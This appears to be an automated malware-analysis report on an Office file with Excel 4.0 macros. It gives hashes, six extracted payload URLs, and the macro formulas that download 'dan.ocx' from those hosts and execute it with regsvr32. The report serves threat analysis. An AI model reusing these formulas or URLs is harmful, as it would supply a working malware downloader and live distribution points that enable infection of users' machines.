General
-
Target
1dbafe5388d832f4822a1595204e3dd99f1925677dd5ebdd6c3e9ee5d598affe
-
Size
40KB
-
MD5
1552b39b6a820f4e90f1ad44ae4dd0f0
-
SHA1
73942f6bb94bb6722ca70f492fc2a415a8683946
-
SHA256
1dbafe5388d832f4822a1595204e3dd99f1925677dd5ebdd6c3e9ee5d598affe
-
SHA512
4e00aaa27bb6734725410365d066ed05e6026d0cdae9f8e738636dcc8a09073445791143e396e7d99cde75c959733e1008f16f8b4d4c530d2c0a812f9537fb8c
-
SSDEEP
768:Tomihd8DOevZCwt79yKfcrND59V+L9Rw4eWrXcTqZ0VfEw/5:Tom8eDNylND59V4jwmXc2CVfEA
Malware Config
Extracted
http://updatesgarmin.com/c/X5oK7bz/
https://drsniffles.com/OldBackup/2gc7uoHraTd/
https://leblogducbd.com/wp-includes/h5WdaXow/
https://ipekozmel.net/wp-content/hiwPw9KvUFV2jKZc/
https://yassinezeroual.com/imsi-hilo/DufS8rvZ/
https://anjumaneshiateali.org/e5qty/Cngg0NcOM/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://updatesgarmin.com/c/X5oK7bz/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://drsniffles.com/OldBackup/2gc7uoHraTd/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://leblogducbd.com/wp-includes/h5WdaXow/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ipekozmel.net/wp-content/hiwPw9KvUFV2jKZc/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://yassinezeroual.com/imsi-hilo/DufS8rvZ/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://anjumaneshiateali.org/e5qty/Cngg0NcOM/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
1dbafe5388d832f4822a1595204e3dd99f1925677dd5ebdd6c3e9ee5d598affe